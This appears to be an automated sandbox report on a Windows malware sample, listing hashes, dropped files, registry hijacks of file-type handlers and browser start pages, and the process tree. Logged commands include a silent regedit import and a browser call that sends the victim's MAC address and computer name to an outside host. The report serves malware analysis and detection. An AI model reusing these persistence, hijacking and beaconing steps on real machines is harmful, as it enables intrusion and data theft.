Analysis
-
max time kernel
131s -
max time network
185s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
04/12/2022, 09:11
Behavioral task
behavioral1
Sample
af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe
Resource
win10v2004-20220812-en
General
-
Target
af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe
-
Size
30KB
-
MD5
04cc5225beb0b03bc052167e3c435dac
-
SHA1
14c6851521168e856d53737cbda6300dac264c84
-
SHA256
af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372
-
SHA512
0d0017c50cbfc95caefc8b7287f234917a5da1575edca73003794464e975dca66e03be8ee4ba4e8dab7ef025018639577a5f94412d6f4a025f0e2378a0365c4a
-
SSDEEP
768:cInEXNC2q64k1b67RHTSydVmTwKDfefY5n76:HEXN7J4QuRLVmTXeA5O
Malware Config
Signatures
-
resource yara_rule behavioral1/memory/1788-56-0x0000000000400000-0x000000000042A000-memory.dmp upx behavioral1/memory/1788-65-0x0000000000400000-0x000000000042A000-memory.dmp upx behavioral1/memory/1788-67-0x0000000000400000-0x000000000042A000-memory.dmp upx -
Deletes itself 1 IoCs
pid Process 1688 wscript.exe -
Drops file in Program Files directory 4 IoCs
description ioc Process File opened for modification \??\c:\program files\winrar\ggzhcecrz.edbru af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe File created \??\c:\program files\winrar\ggzhcecrz.edbru af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe File created \??\c:\program files\winrar\READ.TXT WScript.exe File created C:\Program Files\Common Files\tk.reg af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\My.ini af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main WScript.exe Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\Local Page = "c:\\about blank.htm" WScript.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 50ffddd7970ad901 iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d9a02323525e6c4facb9370bcc4ace3000000000020000000000106600000001000020000000fbfc64afd300e511275bd6ea7c9379b6abafe1795d70551514ccf50ec5fee2d7000000000e8000000002000020000000ffeecd38340b3eac3138658385a3aa2c9ba2223b2e3305c85271c79cc4906f3190000000ed9c65dc504ed1ae980846fdb84636bf41dcb8d4aa637acdc2566f1c688e9014ed3c0f141e4be86da5c7c1fadadeff073dadfa77cfddcab96ac70b18ea9ebb2cb3fc0ea097fc3e0edad93ce802f8fb8a73ed769cefb9ac79ab13f6a9f68187e5a2529fad6a4cb97e442adbfc80a33a638df29914f1fe253742850aa2cd3bc793cfc24049bf33c180272d1a3928baec7740000000fb99180c0b8759d4854ea212b7390fdc6caeab5cc951a0bf14d2022f4e81c46ae4394f70318be44ec2ace77dc2ce0a49e26c175198dbd8efa5102d0c41004b62 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "377222479" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\Start Page Redirect Cache = "c:\\about blank.htm" WScript.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000 iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d9a02323525e6c4facb9370bcc4ace3000000000020000000000106600000001000020000000d6e571ad3a1575c48b51b93f5d5b9a4824e42a9dce17c5de2e3611a8b124c125000000000e8000000002000020000000de2e51cb705bf6ed98ea7bf14324b366456982f6c4316442a603b73380d52dc220000000d4e0d7f1bb5f15b76e3c31d9309a48e7fe3bbae45a2efd2c85d420953d61413c40000000cbefbe993b91300ebf01b10ae3152ae8dc50c73b6e1d9ed7ac3609eb876937df42af7599ebdb866596422de4416d695dbef1c80c032bf4a708700b96321a7db6 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\Search Page = "c:\\about blank.htm" WScript.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{FE4952C1-768A-11ED-8716-EAF6071D98F9} = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe -
Modifies Internet Explorer start page 1 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\Start Page = "c:\\about blank.htm" WScript.exe -
Modifies registry class 64 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile\shellex WScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\ShellFolder WScript.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\ShellFolder WScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\ShellEx regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile\shell WScript.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\Shell\Open(&O)\Command\ = "\"C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE\" c:\\about blank.htm" WScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Ink WScript.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\NeverShowExt\ regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shellex\ContextMenuHandlers regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\DefaultIcon\ = "C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE" WScript.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\Shell\Property(&R)\Command\ = "Rundll32.exe Shell32.dll,Control_RunDLL Inetcpl.cpl" WScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.edbru regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\ScriptEngine regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\Shell\Open2\Command regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile\shell\ = "open" WScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile\shellex\ContextMenuHandlers WScript.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\qcfile\ = "Shortcuts" WScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\qcfile\shellex\ContextMenuHandlers WScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B} WScript.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shellex\ContextMenuHandlers\ regedit.exe Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\ = "Internet Explorer" WScript.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\Shell\ WScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\qcfile\shell WScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\qcfile WScript.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\Shell\Open(&O)\ = "Open(&H)" WScript.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shellex\DropHandler\ = "{e96f0e95-227e-4cc1-8f1e-2b0c01b1f080}" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shellex regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\ = "JScript Script File" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile\NeverShowExt WScript.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.edbru\ = "tkfile" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\DefaultIcon\ = "%SystemRoot%\\SysWow64\\url.dll,0" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\DefaultIcon\ = "C:\\Windows\\SysWow64\\WScript.exe,3" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shell\ = "Open" regedit.exe Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\Shell\Property(&R)\Command\ = "Rundll32.exe Shell32.dll,Control_RunDLL Inetcpl.cpl" WScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\CLSID regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\Shell\Open\Command regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\Shell regedit.exe Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\ShellFolder\Property = "10" WScript.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Wow6432Node\CLSID WScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile WScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\DefaultIcon WScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\ShellEx\PropertySheetHandlers regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\FriendlyTypeName = "@%SystemRoot%\\System32\\wshext.dll,-4804" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile\DefaultIcon\ = "%SystemRoot%\\SysWow64\\url.dll,0" WScript.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\ShellFolder\Property = "10" WScript.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shell\open\command\ = "WScript.exe" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shellex\PropertySheetHandlers\WSHProps\ = "{e96f0e95-227e-4cc1-8f1e-2b0c01b1f080}" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile\CLSID\ = "{FBF23B40-E3F0-101B-8488-00AA003E56F8}" WScript.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\Shell\Property(&R) WScript.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\ScriptEngine\ = "JScript" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shell\Edit\Command\ = "C:\\Windows\\SysWow64\\Notepad.exe %1" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\Shell\Open2 regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile\shell\open\command\ = "WScript.exe \"c:\\program files\\winrar\\ggzhcecrz.edbru\" \"%1\"" WScript.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\ = "Internet Explorer" WScript.exe Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\DefaultIcon\ = "C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE" WScript.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\Shell WScript.exe Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\Shell\Property(&R)\ WScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkFile regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shell\Open2\ = "Open &with Command Prompt" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Ink\ = "Inkfile" WScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile\shell\open\command WScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile\shellex\IconHandler WScript.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile\shellex\IconHandler\ = "{FBF23B40-E3F0-101B-8488-00AA003E56F8}" WScript.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.qc\ = "qcfile" WScript.exe -
Runs .reg file with regedit 1 IoCs
pid Process 976 regedit.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1556 iexplore.exe 1556 iexplore.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 1788 af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe 1556 iexplore.exe 1556 iexplore.exe 1208 IEXPLORE.EXE 1208 IEXPLORE.EXE 1208 IEXPLORE.EXE 1208 IEXPLORE.EXE 1556 iexplore.exe 1556 iexplore.exe 1192 IEXPLORE.EXE 1192 IEXPLORE.EXE 1192 IEXPLORE.EXE 1192 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 32 IoCs
description pid Process procid_target PID 1788 wrote to memory of 1456 1788 af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe 28 PID 1788 wrote to memory of 1456 1788 af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe 28 PID 1788 wrote to memory of 1456 1788 af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe 28 PID 1788 wrote to memory of 1456 1788 af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe 28 PID 1456 wrote to memory of 976 1456 cmd.exe 30 PID 1456 wrote to memory of 976 1456 cmd.exe 30 PID 1456 wrote to memory of 976 1456 cmd.exe 30 PID 1456 wrote to memory of 976 1456 cmd.exe 30 PID 1788 wrote to memory of 1472 1788 af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe 32 PID 1788 wrote to memory of 1472 1788 af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe 32 PID 1788 wrote to memory of 1472 1788 af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe 32 PID 1788 wrote to memory of 1472 1788 af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe 32 PID 1472 wrote to memory of 1556 1472 WScript.exe 33 PID 1472 wrote to memory of 1556 1472 WScript.exe 33 PID 1472 wrote to memory of 1556 1472 WScript.exe 33 PID 1472 wrote to memory of 1556 1472 WScript.exe 33 PID 1556 wrote to memory of 1208 1556 iexplore.exe 36 PID 1556 wrote to memory of 1208 1556 iexplore.exe 36 PID 1556 wrote to memory of 1208 1556 iexplore.exe 36 PID 1556 wrote to memory of 1208 1556 iexplore.exe 36 PID 1788 wrote to memory of 1016 1788 af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe 39 PID 1788 wrote to memory of 1016 1788 af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe 39 PID 1788 wrote to memory of 1016 1788 af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe 39 PID 1788 wrote to memory of 1016 1788 af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe 39 PID 1556 wrote to memory of 1192 1556 iexplore.exe 40 PID 1556 wrote to memory of 1192 1556 iexplore.exe 40 PID 1556 wrote to memory of 1192 1556 iexplore.exe 40 PID 1556 wrote to memory of 1192 1556 iexplore.exe 40 PID 1788 wrote to memory of 1688 1788 af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe 41 PID 1788 wrote to memory of 1688 1788 af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe 41 PID 1788 wrote to memory of 1688 1788 af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe 41 PID 1788 wrote to memory of 1688 1788 af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe 41
Processes
-
C:\Users\Admin\AppData\Local\Temp\af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe"C:\Users\Admin\AppData\Local\Temp\af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe"1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1788 -
C:\Windows\SysWOW64\cmd.execmd.exe /c regedit /s "C:\Program Files\Common Files\tk.reg"2⤵
- Suspicious use of WriteProcessMemory
PID:1456 -
C:\Windows\SysWOW64\regedit.exeregedit /s "C:\Program Files\Common Files\tk.reg"3⤵
- Modifies registry class
- Runs .reg file with regedit
PID:976
-
-
-
C:\Windows\SysWow64\WScript.exe"C:\Windows\SysWow64\WScript.exe" "C:\program files\winrar\ggzhcecrz.edbru"2⤵
- Drops file in Program Files directory
- Modifies Internet Explorer settings
- Modifies Internet Explorer start page
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1472 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://www.58lala.com/?bymf3⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1556 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1556 CREDAT:275457 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1208
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1556 CREDAT:275470 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1192
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://www1.4728.net/setuptj.asp?a_ip=&a_mac=EA:F6:07:1D:98:F9&a_cpname=GRXNNIIE&a_user=bymf&a_locip=0.0.0.02⤵PID:1016
-
-
\??\c:\windows\SysWOW64\wscript.exec:\windows\system32\wscript.exe C:\Users\Admin\AppData\Local\Temp\Killme.vbs2⤵
- Deletes itself
PID:1688
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5bd36321aa07319a35f12fc3873cd9234
SHA1937a72f3876fb16262db99d958b175df4078ee2c
SHA256293b834119734c8d694fb5ecfd56aa69a5cabb526dbf376a9a99c33ad3c45065
SHA512b6a0930c4ef2be2f12b19ac53181b545996b71118fce9edfd91dd0c84aec863299add5450114a4fe6c639796e1c86de10389d73e45254700577da02fd5c1b042
-
Filesize
213B
MD589a5eb009655f63a6029e151d0897d45
SHA110b483443db34d04df59f225caf1d5b059728372
SHA256eb84f76a2afcf0bad5be9825a1c58de74b74809b82f1f33a889de6983f1ca306
SHA5127e1d0845d5bdc8b4fe81e701c055c46e22816d55328811ce22cf34aa5b30819a3878e00223f71e5dfd062269419a7f32bab010e5672b861ab5e440f706476e4b
-
Filesize
603B
MD5e957966fa96ac9623329cb3f586afbbe
SHA113e4a4085be87b62194e2800aeb8024a8e8e27b4
SHA256e1475c8da3c17afbdaf7c06d8ff61aa59fe0e48de852aa6428476f85e35fb843
SHA5120089c8bd2c98c105afd89fe04e42ad2e50bd16ced9236075456eb8734583bd02b0bb260653e562e015e9a217bd5c793853f0caf4756dcb6f815c5c8302488921
-
Filesize
43KB
MD54204f5d4ac4ee5d17f6413f04ad13fdf
SHA1eb5c61f98033b7bd3a9f6b2c19aa5be4ce85dab9
SHA256d1e79a781f725784d375184fa55aeb3c44a6ca0c21604b8e2755fa448b7df2da
SHA51206677bdd728cb856e515ba227277ba15d1061d62aabd128c8c9a8dacae1b56d72e28e61bf5342527534782c159957178108d114cfcc089c0eb7adec6ee8bfbf2